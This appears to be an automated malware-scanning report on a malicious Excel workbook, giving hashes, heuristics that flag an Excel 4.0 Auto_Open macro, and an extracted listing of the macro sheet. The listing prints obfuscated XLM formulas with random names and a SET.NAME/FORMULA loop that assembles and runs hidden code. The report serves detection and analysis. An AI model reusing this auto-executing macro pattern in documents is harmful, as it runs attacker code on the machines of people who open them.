Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ffcfe122f18d3dd8…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:44:25 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: c80aa56a890979c806eb1eb0e333e7b2 SHA-1: 6aab6846a6df3ef4d3fcf23850b5d52fc2007702 SHA-256: ffcfe122f18d3dd80299eae1e48f4e1f0c26e51197643afb9d366f4cc0840875
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6616 bytes
SHA-256: a5d7732b7e74037d9f8ecf56312a26ada2a931b5c1224007a7201c2320378877
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  eHdkOTxBVX
' 0018     22 LABEL : Cell Value, String Constant - afHfUTC len=0 
' 0018     26 LABEL : Cell Value, String Constant - AMBLgvrLEJa len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H196 
' 0018     21 LABEL : Cell Value, String Constant - bRlAHm len=0 
' 0018     25 LABEL : Cell Value, String Constant - CxhRIVPVxV len=0 
' 0018     25 LABEL : Cell Value, String Constant - dSDRNnEJBy len=0 
' 0018     20 LABEL : Cell Value, String Constant - gXbqp len=0 
' 0018     24 LABEL : Cell Value, String Constant - gZPsUpcZs len=0 
' 0018     23 LABEL : Cell Value, String Constant - HRTRNlLB len=0 
' 0018     27 LABEL : Cell Value, String Constant - HVDITNVZbsAh len=0 
' 0018     24 LABEL : Cell Value, String Constant - IFggMlDNk len=0 
' 0018     20 LABEL : Cell Value, String Constant - INlfC len=0 
' 0018     25 LABEL : Cell Value, String Constant - kaFFSkHiEU len=0 
' 0018     25 LABEL : Cell Value, String Constant - NtYmVxzJtZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - pllxZGTm len=0 
' 0018     25 LABEL : Cell Value, String Constant - rJziHFSFhp len=0 
' 0018     26 LABEL : Cell Value, String Constant - uYBnsCXoBrh len=0 
' 0018     22 LABEL : Cell Value, String Constant - vglXQHJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - VJTfzUTaaA len=0 
' 0018     22 LABEL : Cell Value, String Constant - wRvhAiH len=0 
' 0018     20 LABEL : Cell Value, String Constant - zJPzY len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  eHdkOTxBVX,H99,"SET.NAME("pllxZGTm",VALUE("0"))",""
'  eHdkOTxBVX,H102,"SET.NAME("VJTfzUTaaA",pllxZGTm)",""
'  eHdkOTxBVX,H106,"SET.NAME("gXbqp",pllxZGTm)",""
'  eHdkOTxBVX,H110,"SET.NAME("IFggMlDNk",COUNTA(CxhRIVPVxV))",""
'  eHdkOTxBVX,H113,"SET.NAME("HVDITNVZbsAh",COUNTA(zJPzY))",""
'  eHdkOTxBVX,H116,[],""
'  eHdkOTxBVX,H120,"SET.NAME("bRlAHm","")",""
'  eHdkOTxBVX,H123,"VJTfzUTaaA",""
'  eHdkOTxBVX,H127,"SET.NAME("vglXQHJ",HLOOKUP("*",CxhRIVPVxV,VJTfzUTaaA,FALSE))",""
'  eHdkOTxBVX,H129,"wRvhAiH",""
'  eHdkOTxBVX,H132,"SET.NAME("dSDRNnEJBy",pllxZGTm)",""
'  eHdkOTxBVX,H137,[],""
'  eHdkOTxBVX,H142,"dSDRNnEJBy",""
'  eHdkOTxBVX,H145,"HRTRNlLB",""
'  eHdkOTxBVX,H149,"uYBnsCXoBrh",""
'  eHdkOTxBVX,H153,"AMBLgvrLEJa",""
'  eHdkOTxBVX,H158,"SET.NAME("gZPsUpcZs",VALUE(HLOOKUP("*",zJPzY,AMBLgvrLEJa,FALSE)))",""
'  eHdkOTxBVX,H163,"afHfUTC",""
'  eHdkOTxBVX,H168,"bRlAHm",""
'  eHdkOTxBVX,H173,"gXbqp",""
'  eHdkOTxBVX,H177,NEXT(),""
'  eHdkOTxBVX,H182,"rJziHFSFhp",""
'  eHdkOTxBVX,H184,"SET.NAME("f",INT(T(FORMULA(T(bRlAHm)&"",""&T(rJziHFSFhp)))))",""
'  eHdkOTxBVX,H189,"kaFFSkHiEU",""
'  eHdkOTxBVX,H191,NEXT(),""
'  eHdkOTxBVX,H193,RETURN(),""
'  eHdkOTxBVX,H221,"SET.NAME("NtYmVxzJtZ",H99)",""
'  eHdkOTxBVX,H223,"CxhRIVPVxV",""
'  eHdkOTxBVX,H227,"SET.NAME("zJPzY",R62C13)",""
'  eHdkOTxBVX,H232,"SET.NAME("kaFFSkHiEU",239)",""
'  eHdkOTxBVX,H235,"SET.NAME("INlfC",8)",""
'  eHdkOTxBVX,H238,NtYmVxzJtZ(),""
'  eHdkOTxBVX,H239,HALT(),""

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